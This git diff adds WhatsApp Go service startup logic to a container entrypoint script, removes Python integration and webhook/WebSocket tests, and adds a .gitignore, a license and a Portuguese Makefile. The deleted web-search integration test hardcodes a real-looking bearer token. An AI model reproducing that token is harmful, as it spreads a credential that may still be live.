+if [ -z "$WHATSAPP_SERVICE_ENABLED" ]; then
+    if [ -x "$WHATSAPP_SERVICE_BINARY" ]; then
+        WHATSAPP_SERVICE_ENABLED="true"
+    else
+        WHATSAPP_SERVICE_ENABLED="false"
+    fi
+fi
+
+export WHATSAPP_SERVICE_ENABLED
+export WHATSAPP_SERVICE_URL="${WHATSAPP_SERVICE_URL:-http://127.0.0.1:${WHATSAPP_SERVICE_PORT}}"
+# Single source of truth: operator sets one of WHATSAPP_SERVICE_GLOBAL_API_KEY /
+# GLOBAL_API_KEY; both the gateway (FastAPI) and the Go service receive it.
+export WHATSAPP_SERVICE_GLOBAL_API_KEY="${WHATSAPP_SERVICE_GLOBAL_API_KEY:-${GLOBAL_API_KEY:-}}"
+
+# Map the main app's centralized settings onto the names the WhatsApp (Go)
+# service expects. Its process environment is built from THIS configuration
+# only — the Go service never reads a .env of its own.
+export SUPABASE_SERVICE_KEY="${SUPABASE_SERVICE_KEY:-${SUPABASE_SERVICE_ROLE_KEY:-}}"
+
+# SUPABASE_DB_URL: derive the native Postgres URL from the pooler/direct URL
+# (session-mode port 5432) when not set explicitly — single source of truth.
+if [ -z "${SUPABASE_DB_URL:-}" ]; then
+    if [ -n "${POSTGRES_URL_POOLER:-}" ]; then
+        export SUPABASE_DB_URL="${POSTGRES_URL_POOLER/:6543\//:5432/}"
+    elif [ -n "${POSTGRES_URL:-}" ]; then
+        export SUPABASE_DB_URL="$POSTGRES_URL"
+    fi
+fi
+
+# Defaults for Go-service-only settings (not consumed by the main app).
+export DATABASE_SAVE_MESSAGES="${DATABASE_SAVE_MESSAGES:-false}"
+export CLIENT_NAME="${CLIENT_NAME:-agentdeck}"
+
+if [ "$WHATSAPP_SERVICE_ENABLED" = "true" ]; then
+    if [ ! -x "$WHATSAPP_SERVICE_BINARY" ]; then
+        log "WARNING: WHATSAPP_SERVICE_ENABLED=true but binary not found at $WHATSAPP_SERVICE_BINARY — WhatsApp gateway disabled"
+        export WHATSAPP_SERVICE_ENABLED="false"
+    else
+        log "Starting WhatsApp service on port $WHATSAPP_SERVICE_PORT..."
+        : > /tmp/whatsapp-service.log
+        WHATSAPP_SERVICE_DIR="$(dirname "$WHATSAPP_SERVICE_BINARY")"
+
+        # Run the Go service in a restart loop so a crash does not take the
+        # main gateway down; the gateway returns 502/503 while it is down.
+        (
+            while true; do
+                cd "$WHATSAPP_SERVICE_DIR" 2>/dev/null || true
+                GLOBAL_API_KEY="${GLOBAL_API_KEY:-${WHATSAPP_SERVICE_GLOBAL_API_KEY:-}}" \
+                SERVER_PORT="$WHATSAPP_SERVICE_PORT" \
+                "$WHATSAPP_SERVICE_BINARY" >> /tmp/whatsapp-service.log 2>&1
+                code=$?
+                log "WARNING: WhatsApp service exited (code $code) — restarting in 5s"
+                sleep 5
+            done
+        ) &
+        WHATSAPP_PID=$!
+        log "WhatsApp service process group PID: $WHATSAPP_PID"
+
+        # Wait for readiness (best effort — non-fatal, gateway degrades gracefully)
+        WHATSAPP_HEALTH_URL="http://127.0.0.1:${WHATSAPP_SERVICE_PORT}/server/ok"
+        WHATSAPP_READY=0
+        for _ in $(seq 1 30); do
+            if curl -fsS -o /dev/null "$WHATSAPP_HEALTH_URL" 2>/dev/null; then
+                WHATSAPP_READY=1
+                break
+            fi
+            sleep 1
+        done
+        if [ "$WHATSAPP_READY" = "1" ]; then
+            log "WhatsApp service healthy: $WHATSAPP_HEALTH_URL"
+        else
+            log "WARNING: WhatsApp service not ready at $WHATSAPP_HEALTH_URL — gateway runs in degraded mode"
+            tail -20 /tmp/whatsapp-service.log 2>/dev/null | while IFS= read -r line; do log "  whatsapp: $line"; done
+        fi
+    fi
+else
+    log "WhatsApp service disabled (WHATSAPP_SERVICE_ENABLED=$WHATSAPP_SERVICE_ENABLED)"
+fi
+
 # Start main app
 HOST="${HOST:-0.0.0.0}"
 PORT="${PORT:-7860}"
@@ -60,9 +189,22 @@ WORKERS="${WORKERS:-1}"
 LOG_LEVEL="${LOG_LEVEL:-info}"
 
 log "Starting uvicorn: host=$HOST port=$PORT workers=$WORKERS log_level=$LOG_LEVEL"
-exec python -m uvicorn app.api.server:app \
+
+cleanup() {
+    log "Shutting down..."
+    [ -n "$WHATSAPP_PID" ] && kill "$WHATSAPP_PID" 2>/dev/null
+    [ -n "${UVICORN_PID:-}" ] && kill "$UVICORN_PID" 2>/dev/null
+}
+trap cleanup TERM INT
+
+python -m uvicorn app.api.server:app \
     --host "$HOST" \
     --port "$PORT" \
     --workers "$WORKERS" \
     --log-level "$LOG_LEVEL" \
-    --access-log
+    --access-log &
+UVICORN_PID=$!
+
+# Wait on uvicorn only: if the WhatsApp service dies, the main API keeps
+# serving (degraded mode) instead of taking the whole container down.
+wait "$UVICORN_PID"

test_integration.py

@@ -1,92 +0,0 @@
-"""Integration tests against running FastAPI server + SearXNG container."""
-
-import json
-import sys
-import urllib.request
-
-BASE = "http://localhost:8000/api/v1"
-HEADERS = {
-    "Authorization": "Bearer N9ooESH05AiXrlpEKilv3o7OY1Rl5Pui",
-    "Content-Type": "application/json",
-}
-
-
-def req(method, path, body=None):
-    url = f"{BASE}{path}"
-    data = json.dumps(body).encode() if body else None
-    r = urllib.request.Request(url, data=data, headers=HEADERS, method=method)
-    resp = urllib.request.urlopen(r, timeout=30)
-    return json.loads(resp.read())
-
-
-passed = 0
-failed = 0
-
-
-def check(name, ok, detail=""):
-    global passed, failed
-    if ok:
-        passed += 1
-        print(f"  PASS: {name}")
-    else:
-        failed += 1
-        print(f"  FAIL: {name} - {detail}")
-
-
-# ---- Test 1: Health ----
-print("1. Health check")
-r = req("GET", "/web-search/health")
-check("health returns dict", isinstance(r, dict))
-
-# ---- Test 2: Search GET ----
-print("\n2. Search GET")
-r = req("GET", "/web-search?q=hello+world&max_results=3")
-check("success=True", r["success"] is True)
-check("has results", r["number_of_results"] > 0)
-check("title is string", isinstance(r["results"][0]["title"], str))
-
-# ---- Test 3: Search POST ----
-print("\n3. Search POST")
-r = req("POST", "/web-search", {"q": "python programming", "categories": "general,it", "max_results": 3})
-check("success=True", r["success"] is True)
-check("has results", r["number_of_results"] > 0)
-
-# ---- Test 4: Autocomplete GET ----
-print("\n4. Autocomplete GET")
-r = req("GET", "/web-search/autocomplete?q=hello+wor")
-check("success=True", r["success"] is True)
-check("has suggestions", len(r["suggestions"]) > 0)
-
-# ---- Test 5: Autocomplete POST ----
-print("\n5. Autocomplete POST")
-r = req("POST", "/web-search/autocomplete", {"q": "python progr"})
-check("success=True", r["success"] is True)
-check("has suggestions", len(r["suggestions"]) > 0)
-
-# ---- Test 6: Config ----
-print("\n6. Config")
-r = req("GET", "/web-search/config")
-check("success=True", r["success"] is True)
-check("has engines list", isinstance(r["engines"], list))
-
-# ---- Test 7: Engine descriptions ----
-print("\n7. Engine descriptions")
-r = req("GET", "/web-search/engine-descriptions")
-check("success=True", r["success"] is True)
-check("has engines dict", isinstance(r["engines"], dict))
-check("many engines", len(r["engines"]) > 10)
-
-# ---- Test 8: Stats ----
-print("\n8. Stats")
-r = req("GET", "/web-search/stats")
-check("success=True", r["success"] is True)
-
-# ---- Summary ----
-print(f"\n{'='*50}")
-print(f"RESULTS: {passed} passed, {failed} failed out of {passed+failed} tests")
-if failed == 0:
-    print("ALL INTEGRATION TESTS PASSED")
-else:
-    print("SOME TESTS FAILED")
-
-sys.exit(0 if failed == 0 else 1)

tests/test_webhook_socket.py

@@ -1,446 +0,0 @@
-from __future__ import annotations
-
-import asyncio
-import hashlib
-import hmac
-import json
-import os
-import sys
-import time
-from typing import AsyncGenerator
-
-import pytest
-
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
-
-from app.services.webhook_socket_service import ChannelManager, sign_payload, verify_signature
-
-API_KEY = "changeme"
-AUTH_HEADER = {"Authorization": f"Bearer {API_KEY}"}
-BASE = "http://localhost:7860/api/v1"
-
-
-class TestChannelManager:
-    def test_create_channel(self):
-        mgr = ChannelManager()
-        ch = mgr.create_channel()
-        assert ch.channel_id is not None
-        assert len(ch.channel_id) == 16
-        assert ch.buffer_size == 0
-        assert ch.secret is None
-
-    def test_create_channel_custom_id(self):
-        mgr = ChannelManager()
-        ch = mgr.create_channel(channel_id="my-channel")
-        assert ch.channel_id == "my-channel"
-
-    def test_create_channel_with_secret_and_buffer(self):
-        mgr = ChannelManager()
-        ch = mgr.create_channel(channel_id="secure", secret="s3cret", buffer_size=10)
-        assert ch.secret == "s3cret"
-        assert ch.buffer_size == 10
-
-    def test_get_channel(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="abc")
-        assert mgr.get_channel("abc") is not None
-        assert mgr.get_channel("nonexistent") is None
-
-    def test_delete_channel(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="del-me")
-        assert mgr.delete_channel("del-me") is True
-        assert mgr.get_channel("del-me") is None
-        assert mgr.delete_channel("del-me") is False
-
-    def test_create_duplicate_id(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="dup")
-        ch2 = mgr.create_channel(channel_id="dup")
-        assert mgr.get_channel("dup") is ch2
-
-    def test_default_buffer_from_manager(self):
-        mgr = ChannelManager(default_buffer=25)
-        ch = mgr.create_channel()
-        assert ch.buffer_size == 25
-
-    def test_publish_nonexistent_channel(self):
-        mgr = ChannelManager()
-        result = asyncio.run(mgr.publish("no-such-channel", {"hello": "world"}))
-        assert result == -1
-
-    @pytest.mark.asyncio
-    async def test_publish_and_buffer(self):
-        mgr = ChannelManager()
-        ch = mgr.create_channel(channel_id="buf-test", buffer_size=3)
-
-        await mgr.publish("buf-test", {"n": 1})
-        await mgr.publish("buf-test", {"n": 2})
-        await mgr.publish("buf-test", {"n": 3})
-        await mgr.publish("buf-test", {"n": 4})
-
-        assert len(ch.history) == 3
-        assert ch.history[0]["payload"]["n"] == 2
-        assert ch.history[2]["payload"]["n"] == 4
-        assert ch.message_count == 4
-
-    def test_stats(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="a")
-        mgr.create_channel(channel_id="b")
-        stats = mgr.stats()
-        assert stats["channels"] == 2
-        assert stats["total_subscribers"] == 0
-
-    def test_sign_and_verify(self):
-        secret = "my-secret"
-        body = b'{"hello":"world"}'
-        sig = sign_payload(secret, body)
-        assert sig.startswith("sha256=")
-        assert verify_signature(secret, body, sig) is True
-        assert verify_signature(secret, body, "sha256=bad") is False
-        assert verify_signature("wrong-secret", body, sig) is False
-
-    def test_sign_constant_result(self):
-        secret = "test"
-        body = b"data"
-        sig1 = sign_payload(secret, body)
-        sig2 = sign_payload(secret, body)
-        assert sig1 == sig2
-
-    def test_channel_info_fields(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="info-test", buffer_size=5)
-        ch = mgr.get_channel("info-test")
-        assert ch.channel_id == "info-test"
-        assert ch.buffer_size == 5
-        assert ch.message_count == 0
-        assert ch.created_at > 0
-        assert ch.last_activity > 0
-
-    def test_publish_with_subscriber(self):
-        mgr = ChannelManager()
-        mgr.create_channel(channel_id="sub-test")
-        ch = mgr.get_channel("sub-test")
-
-        async def dummy():
-            return ch.channel_id
-        q = asyncio.Queue()
-        ch.subscribers[dummy] = q
-
-        result = asyncio.run(mgr.publish("sub-test", {"msg": "hello"}))
-        assert result == 1
-        assert ch.message_count == 1
-
-    def test_multiple_publishes(self):
-        mgr = ChannelManager()
-        ch = mgr.create_channel(channel_id="multi-pub", buffer_size=10)
-        for i in range(5):
-            asyncio.run(mgr.publish("multi-pub", {"n": i}))
-        assert ch.message_count == 5
-        assert len(ch.history) == 5
-
-    def test_channel_manager_defaults(self):
-        mgr = ChannelManager()
-        assert mgr.default_buffer == 0
-        assert mgr.channels == {}
-
-
-pytestmark_integration = pytest.mark.skipif(
-    not os.environ.get("RUN_INTEGRATION_TESTS"),
-    reason="Set RUN_INTEGRATION_TESTS=1 to run integration tests",
-)
-
-
-def _sign(body: bytes, secret: str) -> str:
-    return "sha256=" + hmac.new(secret.encode(), body, hashlib.sha256).hexdigest()
-
-
-@pytest.mark.skipif(
-    not os.environ.get("RUN_INTEGRATION_TESTS"),
-    reason="Set RUN_INTEGRATION_TESTS=1 to run integration tests",
-)
-class TestWebhookSocketIntegration:
-    @pytest.fixture(autouse=True)
-    async def _setup(self):
-        import httpx
-
-        async with httpx.AsyncClient(base_url=BASE) as client:
-            self.client = client
-            yield
-
-    async def _create_channel(self, **kwargs) -> dict:
-        resp = await self.client.post("/channels", json=kwargs, headers=AUTH_HEADER)
-        assert resp.status_code == 201
-        return resp.json()
-
-    async def _delete_channel(self, channel_id: str):
-        resp = await self.client.delete(f"/channels/{channel_id}", headers=AUTH_HEADER)
-        return resp.status_code == 200
-
-    async def test_health(self):
-        resp = await self.client.get("/health")
-        assert resp.status_code == 200
-        data = resp.json()
-        assert data["success"] is True
-
-    async def test_create_and_list_channels(self):
-        ch = await self._create_channel(channel_id="test-list", buffer_size=5)
-        assert ch["channel_id"] == "test-list"
-
-        resp = await self.client.get("/channels", headers=AUTH_HEADER)
-        assert resp.status_code == 200
-        data = resp.json()
-        assert any(c["channel_id"] == "test-list" for c in data["channels"])
-
-        await self._delete_channel("test-list")
-
-    async def test_create_channel_no_auth(self):
-        resp = await self.client.post("/channels", json={})
-        assert resp.status_code in (401, 403)
-
-    async def test_create_duplicate_channel(self):
-        await self._create_channel(channel_id="dup-test")
-        resp = await self.client.post("/channels", json={"channel_id": "dup-test"}, headers=AUTH_HEADER)
-        assert resp.status_code == 409
-        await self._delete_channel("dup-test")
-
-    async def test_channel_info(self):
-        await self._create_channel(channel_id="info-test")
-        resp = await self.client.get("/channels/info-test", headers=AUTH_HEADER)
-        assert resp.status_code == 200
-        data = resp.json()
-        assert data["channel_id"] == "info-test"
-        assert data["subscribers"] == 0
-        assert data["messages"] == 0
-        await self._delete_channel("info-test")
-
-    async def test_channel_info_not_found(self):
-        resp = await self.client.get("/channels/no-such", headers=AUTH_HEADER)
-        assert resp.status_code == 404
-
-    async def test_delete_channel(self):
-        await self._create_channel(channel_id="delete-me")
-        resp = await self.client.delete("/channels/delete-me", headers=AUTH_HEADER)
-        assert resp.status_code == 200
-        assert resp.json()["deleted"] == "delete-me"
-
-        resp = await self.client.get("/channels/delete-me", headers=AUTH_HEADER)
-        assert resp.status_code == 404
-
-    async def test_delete_channel_not_found(self):
-        resp = await self.client.delete("/channels/no-such", headers=AUTH_HEADER)
-        assert resp.status_code == 404
-
-    async def test_webhook_delivers_to_ws(self):
-        ch = await self._create_channel(channel_id="ws-deliver", buffer_size=5)
-        cid = ch["channel_id"]
-
-        import websockets
-
-        ws_url = f"ws://localhost:7860/api/v1/ws/{cid}"
-
-        async with websockets.connect(ws_url) as ws:
-            connected = json.loads(await ws.recv())
-            assert connected["event"] == "connected"
-            assert connected["channel"] == cid
-
-            payload = {"msg": "hello from webhook", "num": 42}
-            resp = await self.client.post(f"/webhook/{cid}", json=payload)
-            assert resp.status_code == 200
-            wh_data = resp.json()
-            assert wh_data["status"] == "delivered"
-            assert wh_data["subscribers_notified"] == 1
-
-            received = json.loads(await ws.recv())
-            assert received["event"] == "message"
-            assert received["channel"] == cid
-            assert received["payload"] == payload
-
-        await self._delete_channel(cid)
-
-    async def test_webhook_no_subscribers(self):
-        ch = await self._create_channel(channel_id="no-subs")
-        resp = await self.client.post(f"/webhook/{ch['channel_id']}", json={"data": 1})
-        assert resp.status_code == 200
-        assert resp.json()["subscribers_notified"] == 0
-        await self._delete_channel(ch["channel_id"])
-
-    async def test_webhook_not_found(self):
-        resp = await self.client.post("/webhook/no-such", json={"x": 1})
-        assert resp.status_code == 404
-
-    async def test_hook_alias(self):
-        ch = await self._create_channel(channel_id="hook-alias")
-        resp = await self.client.post(f"/hook/{ch['channel_id']}", json={"test": True})
-        assert resp.status_code == 200
-        assert resp.json()["status"] == "delivered"
-        await self._delete_channel(ch["channel_id"])
-
-    async def test_hmac_signed_webhook(self):
-        secret = "hmac-test-secret"
-        ch = await self._create_channel(channel_id="hmac-test", secret=secret)
-        cid = ch["channel_id"]
-
-        payload = b'{"signed": "data"}'
-        sig = _sign(payload, secret)
-
-        resp = await self.client.post(
-            f"/webhook/{cid}",
-            content=payload,
-            headers={"Content-Type": "application/json", "X-Signature-256": sig},
-        )
-        assert resp.status_code == 200, resp.text
-
-        resp_bad = await self.client.post(
-            f"/webhook/{cid}",
-            content=payload,
-            headers={"Content-Type": "application/json", "X-Signature-256": "sha256=bad"},
-        )
-        assert resp_bad.status_code == 401
-
-        resp_no_sig = await self.client.post(
-            f"/webhook/{cid}",
-            content=payload,
-            headers={"Content-Type": "application/json"},
-        )
-        assert resp_no_sig.status_code == 401
-
-        await self._delete_channel(cid)
-
-    async def test_webhook_form_urlencoded(self):
-        ch = await self._create_channel(channel_id="form-test")
-        cid = ch["channel_id"]
-
-        resp = await self.client.post(
-            f"/webhook/{cid}",
-            data={"field1": "value1", "field2": "value2"},
-            headers={"Content-Type": "application/x-www-form-urlencoded"},
-        )
-        assert resp.status_code == 200
-        assert resp.json()["status"] == "delivered"
-
-        await self._delete_channel(cid)
-
-    async def test_webhook_raw_text(self):
-        ch = await self._create_channel(channel_id="raw-test")
-        cid = ch["channel_id"]
-
-        resp = await self.client.post(
-            f"/webhook/{cid}",
-            content="just some raw text",
-            headers={"Content-Type": "text/plain"},
-        )
-        assert resp.status_code == 200
-
-        await self._delete_channel(cid)
-
-    async def test_ws_replay_buffer(self):
-        ch = await self._create_channel(channel_id="replay-test", buffer_size=3)
-        cid = ch["channel_id"]
-
-        await self.client.post(f"/webhook/{cid}", json={"n": 1})
-        await self.client.post(f"/webhook/{cid}", json={"n": 2})
-        await self.client.post(f"/webhook/{cid}", json={"n": 3})
-
-        import websockets
-
-        ws_url = f"ws://localhost:7860/api/v1/ws/{cid}"
-        async with websockets.connect(ws_url) as ws:
-            connected = json.loads(await ws.recv())
-            assert connected["event"] == "connected"
-            assert connected["buffered"] == 3
-
-            for expected_n in [1, 2, 3]:
-                msg = json.loads(await ws.recv())
-                assert msg["payload"]["n"] == expected_n
-
-        await self._delete_channel(cid)
-
-    async def test_ws_auth_with_secret(self):
-        ch = await self._create_channel(channel_id="ws-auth-test", secret="topsecret")
-        cid = ch["channel_id"]
-
-        import websockets
-
-        ws_url = f"ws://localhost:7860/api/v1/ws/{cid}"
-
-        async with websockets.connect(f"{ws_url}?secret=topsecret") as ws:
-            msg = json.loads(await ws.recv())
-            assert msg["event"] == "connected"
-
-        async with websockets.connect(ws_url) as ws:
-            msg = json.loads(await ws.recv())
-            assert msg["event"] == "error"
-
-        await self._delete_channel(cid)
-
-    async def test_ws_channel_not_found(self):
-        import websockets
-
-        async with websockets.connect("ws://localhost:7860/api/v1/ws/does-not-exist") as ws:
-            msg = json.loads(await ws.recv())
-            assert msg["event"] == "error"
-            assert "channel not found" in msg["message"]
-
-    async def test_stats_endpoint(self):
-        resp = await self.client.get("/webhook-socket/stats", headers=AUTH_HEADER)
-        assert resp.status_code == 200
-        data = resp.json()
-        assert "channels" in data
-        assert "total_messages" in data
-        assert "total_subscribers" in data
-
-    async def test_full_lifecycle(self):
-        cid = "lifecycle-test"
-
-        ch = await self._create_channel(channel_id=cid, buffer_size=10, secret="life-secret")
-        assert ch["channel_id"] == cid
-
-        info_resp = await self.client.get(f"/channels/{cid}", headers=AUTH_HEADER)
-        assert info_resp.status_code == 200
-        assert info_resp.json()["messages"] == 0
-
-        import websockets
-
-        ws_url = f"ws://localhost:7860/api/v1/ws/{cid}?secret=life-secret"
-        async with websockets.connect(ws_url) as ws:
-            connected = json.loads(await ws.recv())
-            assert connected["event"] == "connected"
-
-            payload = {"event_type": "push", "data": {"ref": "main"}}
-            sig = _sign(json.dumps(payload).encode(), "life-secret")
-            resp = await self.client.post(
-                f"/webhook/{cid}",
-                json=payload,
-                headers={"X-Signature-256": sig, "X-GitHub-Event": "push"},
-            )
-            assert resp.status_code == 200
-            wh = resp.json()
-            assert wh["subscribers_notified"] == 1
-
-            received = json.loads(await ws.recv())
-            assert received["event"] == "message"
-            assert received["payload"]["event_type"] == "push"
-            assert received["headers"]["X-GitHub-Event"] == "push"
-
-        stats_resp = await self.client.get(f"/channels/{cid}", headers=AUTH_HEADER)
-        assert stats_resp.json()["messages"] == 1
-
-        await self._delete_channel(cid)
-
-        not_found = await self.client.get(f"/channels/{cid}", headers=AUTH_HEADER)
-        assert not_found.status_code == 404
-
-
-if __name__ == "__main__":
-    import subprocess
-    import sys as _sys
-
-    os.environ["RUN_INTEGRATION_TESTS"] = "1"
-    _sys.exit(
-        subprocess.run(
-            [_sys.executable, "-m", "pytest", __file__, "-v", "--tb=short"],
-            cwd=os.path.join(os.path.dirname(__file__), ".."),
-        ).returncode
-    )

whatsapp-service/.gitignore

@@ -0,0 +1,20 @@
+.env
+logs/*
+build/
+*.prof
+coverage.*
+.air.toml
+.idea/
+.vscode/
+.DS_Store
+evolution-go
+agentdeck-whatsapp-service.exe
+build/
+
+# Local dev/test/doc artifacts (kept out of the production repo)
+tests/
+ddl/
+*.md
+*_test.go
+__pycache__/
+*.pyc

whatsapp-service/LICENSE

@@ -0,0 +1,13 @@
+Copyright 2026 AgentDeck
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.

whatsapp-service/Makefile

@@ -0,0 +1,268 @@
+.PHONY: help dev run build test clean swagger deps docker-build docker-run install setup migrate-up migrate-down logs
+
+# Configurações
+APP_NAME=agentdeck-whatsapp
+MAIN_PATH=cmd/agentdeck-whatsapp-service/main.go
+BUILD_DIR=build
+GO=go
+VERSION=$(shell cat VERSION 2>/dev/null || echo "0.7.2")
+LDFLAGS=-ldflags "-X main.version=$(VERSION)"
+GOFLAGS=-v
+
+# Cores para output
+GREEN=\033[0;32m
+YELLOW=\033[0;33m
+RED=\033[0;31m
+NC=\033[0m # No Color
+
+##@ Ajuda
+
+help: ## Exibe esta mensagem de ajuda
+	@echo "$(GREEN)AgentDeck Whatsapp Service - Makefile$(NC)"
+	@echo ""
+	@awk 'BEGIN {FS = ":.*##"; printf "\nUso:\n  make $(YELLOW)<target>$(NC)\n"} /^[a-zA-Z_-]+:.*?##/ { printf "  $(GREEN)%-15s$(NC) %s\n", $$1, $$2 } /^##@/ { printf "\n$(YELLOW)%s$(NC)\n", substr($$0, 5) } ' $(MAKEFILE_LIST)
+
+##@ Desenvolvimento
+
+dev: ## Roda a aplicação em modo desenvolvimento
+	@echo "$(GREEN)🚀 Rodando AgentDeck Whatsapp Service em modo desenvolvimento...$(NC)"
+	$(GO) run $(LDFLAGS) $(MAIN_PATH) -dev
+
+run: ## Roda a aplicação em modo produção
+	@echo "$(GREEN)🚀 Rodando AgentDeck Whatsapp Service...$(NC)"
+	$(GO) run $(MAIN_PATH)
+
+watch: ## Roda a aplicação com hot reload (requer air)
+	@if command -v air > /dev/null; then \
+		echo "$(GREEN)🔥 Rodando com hot reload...$(NC)"; \
+		air; \
+	else \
+		echo "$(RED)❌ Air não instalado. Instale com: go install github.com/cosmtrek/air@latest$(NC)"; \
+		exit 1; \
+	fi
+
+##@ Build
+
+build: ## Compila a aplicação
+	@echo "$(GREEN)🔨 Compilando $(APP_NAME)...$(NC)"
+	@mkdir -p $(BUILD_DIR)
+	$(GO) build $(GOFLAGS) $(LDFLAGS) -o $(BUILD_DIR)/$(APP_NAME) $(MAIN_PATH)
+	@echo "$(GREEN)✅ Build completo: $(BUILD_DIR)/$(APP_NAME)$(NC)"
+
+build-linux: ## Compila para Linux
+	@echo "$(GREEN)🔨 Compilando para Linux...$(NC)"
+	@mkdir -p $(BUILD_DIR)
+	GOOS=linux GOARCH=amd64 $(GO) build $(GOFLAGS) $(LDFLAGS) -o $(BUILD_DIR)/$(APP_NAME)-linux-amd64 $(MAIN_PATH)
+	@echo "$(GREEN)✅ Build Linux completo$(NC)"
+
+build-windows: ## Compila para Windows
+	@echo "$(GREEN)🔨 Compilando para Windows...$(NC)"
+	@mkdir -p $(BUILD_DIR)
+	GOOS=windows GOARCH=amd64 $(GO) build $(GOFLAGS) $(LDFLAGS) -o $(BUILD_DIR)/$(APP_NAME)-windows-amd64.exe $(MAIN_PATH)
+	@echo "$(GREEN)✅ Build Windows completo$(NC)"
+
+build-all: build build-linux build-windows ## Compila para todas as plataformas
+	@echo "$(GREEN)✅ Todos os builds completos$(NC)"
+
+install: build ## Compila e instala no GOPATH
+	@echo "$(GREEN)📦 Instalando $(APP_NAME)...$(NC)"
+	$(GO) install $(MAIN_PATH)
+	@echo "$(GREEN)✅ Instalado com sucesso$(NC)"
+
+##@ Testes
+
+test: ## Roda todos os testes
+	@echo "$(GREEN)🧪 Rodando testes...$(NC)"
+	$(GO) test -v ./...
+
+test-coverage: ## Roda testes com cobertura
+	@echo "$(GREEN)🧪 Rodando testes com cobertura...$(NC)"
+	$(GO) test -v -coverprofile=coverage.out ./...
+	$(GO) tool cover -html=coverage.out -o coverage.html
+	@echo "$(GREEN)✅ Cobertura gerada: coverage.html$(NC)"
+
+test-race: ## Roda testes verificando race conditions
+	@echo "$(GREEN)🧪 Rodando testes com race detector...$(NC)"
+	$(GO) test -race -v ./...
+
+bench: ## Roda benchmarks
+	@echo "$(GREEN)⚡ Rodando benchmarks...$(NC)"
+	$(GO) test -bench=. -benchmem ./...
+
+##@ Dependências
+
+deps: ## Instala dependências
+	@echo "$(GREEN)📦 Instalando dependências...$(NC)"
+	$(GO) mod download
+	$(GO) mod verify
+	@echo "$(GREEN)✅ Dependências instaladas$(NC)"
+
+deps-update: ## Atualiza dependências
+	@echo "$(GREEN)📦 Atualizando dependências...$(NC)"
+	$(GO) get -u ./...
+	$(GO) mod tidy
+	@echo "$(GREEN)✅ Dependências atualizadas$(NC)"
+
+deps-clean: ## Limpa dependências não utilizadas
+	@echo "$(GREEN)🧹 Limpando dependências...$(NC)"
+	$(GO) mod tidy
+	@echo "$(GREEN)✅ Dependências limpas$(NC)"
+
+deps-reset: ## Limpa cache e reinstala dependências (força uso do código local)
+	@echo "$(GREEN)🔄 Resetando dependências e cache...$(NC)"
+	@echo "$(YELLOW)Limpeza de cache e módulos...$(NC)"
+	$(GO) clean -cache -modcache -i -r
+	@echo "$(YELLOW)Download de módulos...$(NC)"
+	$(GO) mod download
+	@echo "$(YELLOW)Organizando módulos...$(NC)"
+	$(GO) mod tidy
+	@echo "$(GREEN)✅ Dependências resetadas e atualizadas$(NC)"
+
+##@ Documentação
+
+swagger: ## Gera documentação Swagger
+	@echo "$(GREEN)📚 Gerando documentação Swagger...$(NC)"
+	@if command -v swag > /dev/null; then \
+		swag init -g $(MAIN_PATH) -o ./docs; \
+		echo "$(GREEN)✅ Swagger gerado com sucesso$(NC)"; \
+	else \
+		echo "$(RED)❌ Swag não instalado. Instale com: go install github.com/swaggo/swag/cmd/swag@latest$(NC)"; \
+		exit 1; \
+	fi
+
+docs: ## Abre a documentação local
+	@echo "$(GREEN)📖 Abrindo documentação...$(NC)"
+	@if [ -f "docs/wiki/README.md" ]; then \
+		echo "Documentação disponível em: docs/wiki/README.md"; \
+	else \
+		echo "$(RED)❌ Documentação não encontrada$(NC)"; \
+	fi
+
+##@ Database
+
+migrate-up: ## Executa migrations do banco de dados
+	@echo "$(GREEN)🗃️  Executando migrations...$(NC)"
+	@if [ -d "migrations" ]; then \
+		$(GO) run $(MAIN_PATH) migrate up; \
+	else \
+		echo "$(YELLOW)⚠️  Diretório migrations não encontrado$(NC)"; \
+	fi
+
+migrate-down: ## Reverte migrations do banco de dados
+	@echo "$(YELLOW)⚠️  Revertendo migrations...$(NC)"
+	@if [ -d "migrations" ]; then \
+		$(GO) run $(MAIN_PATH) migrate down; \
+	else \
+		echo "$(YELLOW)⚠️  Diretório migrations não encontrado$(NC)"; \
+	fi
+
+##@ Docker
+
+docker-build: ## Build da imagem Docker
+	@echo "$(GREEN)🐳 Construindo imagem Docker...$(NC)"
+	docker build --build-arg VERSION=$(VERSION) -t $(APP_NAME):latest .
+	@echo "$(GREEN)✅ Imagem Docker construída$(NC)"
+
+docker-run: ## Roda container Docker
+	@echo "$(GREEN)🐳 Iniciando container...$(NC)"
+	docker run -p 4000:4000 --env-file .env $(APP_NAME):latest
+
+docker-compose-up: ## Sobe todos os serviços com docker-compose
+	@echo "$(GREEN)🐳 Iniciando serviços com docker-compose...$(NC)"
+	docker-compose up -d
+
+docker-compose-down: ## Para todos os serviços do docker-compose
+	@echo "$(YELLOW)🐳 Parando serviços...$(NC)"
+	docker-compose down
+
+docker-compose-logs: ## Exibe logs do docker-compose
+	docker-compose logs -f
+
+##@ Linting e Formatação
+
+fmt: ## Formata o código
+	@echo "$(GREEN)✨ Formatando código...$(NC)"
+	$(GO) fmt ./...
+	@echo "$(GREEN)✅ Código formatado$(NC)"
+
+lint: ## Executa linter (requer golangci-lint)
+	@echo "$(GREEN)🔍 Executando linter...$(NC)"
+	@if command -v golangci-lint > /dev/null; then \
+		golangci-lint run ./...; \
+		echo "$(GREEN)✅ Lint completo$(NC)"; \
+	else \
+		echo "$(RED)❌ golangci-lint não instalado. Instale com: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest$(NC)"; \
+		exit 1; \
+	fi
+
+vet: ## Executa go vet
+	@echo "$(GREEN)🔍 Executando go vet...$(NC)"
+	$(GO) vet ./...
+	@echo "$(GREEN)✅ Vet completo$(NC)"
+
+check: fmt vet lint test ## Executa todas as verificações
+
+##@ Limpeza
+
